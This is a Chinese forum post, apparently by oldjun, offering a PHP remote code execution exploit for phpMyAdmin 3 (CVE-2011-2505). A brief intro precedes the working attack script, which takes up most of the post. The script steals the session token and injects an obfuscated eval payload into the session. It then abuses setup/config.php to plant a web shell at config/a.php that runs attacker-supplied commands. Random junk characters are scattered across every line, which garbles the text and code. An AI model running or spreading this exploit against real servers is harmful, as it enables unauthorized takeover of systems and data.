最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
! T% |4 k" o& a( c$ N
& T+ Z% F2 z0 U2 z昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
9 z: d% S+ q% o" X
* l8 h! a- ^5 W( w首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
( x7 g0 G ^1 a1 f0 X6 Y* V7 ~一是session.auto_start = 1;
7 Y% M# c; W i9 }二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。$ `* K/ f' [+ N& {$ r
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
) y9 Y8 F7 ~4 q1 |. U7 m/ D7 z# _- } f5 [2 I
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。! `# h2 C6 j5 r; ~% U$ F2 s
. K0 @; u' }. U) i O, t
于是写了这个php版本的exp,代码如下:
) @& I( w6 r/ v0 N3 d# J1 l
8 i) ]" P$ Y, b#!/usr/bin/php
* G- U" `1 o6 D% ~% ^& W! G5 P<?php2 o3 `3 H4 B0 l" U5 s1 Z y5 h
print_r('8 r* i; N0 N, M) m" i" J
+---------------------------------------------------------------------------+0 D8 J& q) Q8 [9 z! D4 B" X
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
3 b0 u. a! k: K5 T, r. r ?by oldjun(www.oldjun.com)
( J! f& G# T% j" j& q V7 u" K* Lwelcome to www.t00ls.net
% Z/ E( g& o( \" B" A9 Z5 ^mail: oldjun@gmail.com3 J+ \2 J) d% I- v. M1 A
Assigned CVE id: CVE-2011-2505) B/ Z% j# k/ J$ M, Y2 ?
+---------------------------------------------------------------------------+
, I1 S$ q6 n8 b6 X; y9 j* ?');% M% M/ k4 o- I2 n
- o& l( r! K7 U
/**3 Y; D: F, Z% o# n% ~ o# A) g: E
* working when the directory:"config" exists and is writeable.% F; Q6 e) p5 l6 F
**/# w" V4 Y: A4 ?( h& R6 L
, H$ Z% ?' b2 r8 G
if ($argc < 3) {# l$ C/ b- L+ Z' M; S% ?5 n
print_r('3 ]2 a+ |/ R+ ? v( L$ [ R
+---------------------------------------------------------------------------+
( ]1 A) u9 T) g) }% D9 O+ fUsage: php '.$argv[0].' host path
& M, J4 L! Z* ?host: target server (ip/hostname)* ?7 J8 A8 u4 u1 T
path: path to pma3# s2 F& ^7 i# P" i' W
Example:
; X8 D& I4 v( I0 v! dphp '.$argv[0].' localhost /pma/- M+ B4 W3 v7 ^$ j2 W" h
+---------------------------------------------------------------------------+
, q: F& E# |' h7 o! p U* C');' t! V. D) |7 E8 n! D* h- N; K
exit;* t7 P& e: v% I/ M3 O' Y
}- I6 W( F$ O" U6 `
: m5 z7 D; }7 G2 `' W. f% _$host = $argv[1];
& H% O2 q, N0 ?4 I7 ]$path = $argv[2];/ t; p/ O2 @- Z7 S
7 S) O& N! f% b4 A! ^
/**" d0 R; z: G5 Y& [
* Try to determine if the directory:"config" exists$ b& \4 U9 `/ [: N( B" _
**/' `4 N, Z" @4 t5 r5 R( i9 E8 z+ y$ s
echo "[+] Try to determine if the directory:config exists....\n";
9 C' i: w! K& L& F. M$returnstr=php_request('config/');
& f+ I) C5 P4 h$ Nif(strpos($returnstr,'404')){0 \1 V* d+ L/ T
exit("[-] Exploit Failed! The directory:config do not exists!\n");
+ _3 b, w8 h2 o}
' U8 w, k& A! ]8 _ r8 g7 r" L+ ?8 ^# }' g1 {: b+ q3 h
/**
: f2 R6 M- X$ e! O5 k * Try to get token and sessionid
$ z' i1 s; }5 ] t* e& w1 b5 w**/
. ^: s. u) t6 m* u$ b z9 e" Lecho "[+] Try to get token and sessionid....\n";
' [1 a/ C% {- P$result=php_request('index.php');) B0 E& H& ], a# S4 t4 n
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);0 c4 e+ C4 r& P7 w1 B/ B2 C! V! i
$token=$resp[3];9 h, `% N1 _, Z+ ]
$sessionid=$resp[1];7 q$ B7 X+ V3 k T0 M; x
if($token && $sessionid){
$ O6 A9 L, z" l& S6 d8 M- ~$ a echo "[+] token token\n"; @/ y/ |2 Z E- y0 n. r
echo "[+] Session ID sessionid\n";1 s% N D$ M' g* e; F/ C" Q
}else{
4 y. D: V1 Q2 f; i, J! i exit("[-] Can't get token and Session ID,Exploit Failed!\n");- n0 A/ l& P+ W6 W ^6 Y
}
# v! ]2 p2 |& u9 ~4 n+ q
, D# H) ?1 [8 R6 m' r$ J0 h/**
! q6 J7 z) a9 `' \, R * Try to insert shell into session1 u" q0 m" X2 T; H- B1 Q
**/
. l, ?) v0 }/ uecho "[+] Try to insert shell into session....\n";" F& v) V0 | n% a! o
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
1 R( q! _ a k7 F" G8 G6 q
& A+ s) R. @4 a) c2 I/**
$ d @ w! C, T6 m! U4 B; j * Try to create webshell6 |+ Z1 K$ g5 ^$ B3 g& h1 ^
**/1 W8 Q- R# [$ `& Q* Z4 ? I
echo "[+] Try to create webshell....\n";# {( K: O8 R, Z$ c& u4 I% i
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
' h1 X: q8 Z0 H: z/**4 c$ h/ S- i; W& d+ Q# R: ~
* Try to check if the webshell was created successfully
2 h* f7 W" Q7 y- A/ L( `**/
- M% V# I+ n/ J9 ^+ ]! wecho "[+] Try to check if the webshell was created successfully....\n";
. b* ?8 n/ g' u. T( M% @; h$content=php_request('config/config.inc.php');( k( Q6 X4 B8 j
if(strpos($content,'t00ls')){
$ g: { C7 V, s6 [8 n+ I* l% g echo "[+] Congratulations! Expoilt successfully....\n";0 h2 H4 P8 X. j. ^
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";* ]; u: [3 ^. t
}else{ g0 Y: P' N" h& t. {) d/ p0 g1 ^
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
. P4 Y+ N6 K V/ Q4 G, P0 a6 {}5 d9 H6 Q' X7 n
l9 ^' g+ |( F
function php_request($url,$data='',$cookie=''){
" Z; B( T* c1 k6 R global $host, $path;
& o: ], `0 C# I, e3 C+ Y- ? & W6 m4 b9 ?. w: \0 b4 ~
$method=$data?'POST':'GET';1 o/ F, P! E( [+ q9 X# V
7 V) s. b" Q' j: d; W
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
9 A% E7 o# I, z# D- O6 d, x $packet .= "Accept: */*\r\n";
* `, s+ u2 i) {2 I $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";6 A$ S8 ]1 K6 j
$packet .= "Host: $host\r\n";
: S# G# z2 q- B. E1 | $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";6 _% a1 j0 T* D" t, m
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
2 f; x2 @1 }) o $packet .= $cookie?"Cookie: $cookie\r\n":"";: n8 u* X2 x0 c8 o% q# w
$packet .= "Connection: Close\r\n\r\n";' }$ |+ c: E; D$ K# \
$packet .= $data?$data:"";
$ V( x0 v/ J0 x4 P( K
/ Z6 ^8 l3 e0 q Y $fp = fsockopen(gethostbyname($host), 80);5 @; f) z* Q- |4 Y- G) {
if (!$fp) {
4 p# L, \8 U1 l; ~) Z, }% [ echo 'No response from '.$host; die;( p5 X0 d) k# Y( G7 N' D% B
}' x8 a1 F$ q, q1 t; V
fputs($fp, $packet);. ?" W5 ~6 S/ G9 n' @2 z' p1 F
& }$ i3 L% {* A( |, M) w7 b $resp = '';+ {7 B5 ]8 q, j
; a" `7 N: e" x& Q" E7 Y0 U# \ while ($fp && !feof($fp))! d, e! k# o. M4 g2 R
$resp .= fread($fp, 1024);
! g7 C- N" N! D% N0 Z v" ^8 ^" k/ g
- D, ?' O& M5 F return $resp;
8 ?" ~5 g D" ^/ y}
- a4 h, q. B( G0 g7 l " ~8 M- Z" m2 i8 h6 R
?>
) ] q0 |) ~; b- g* U. |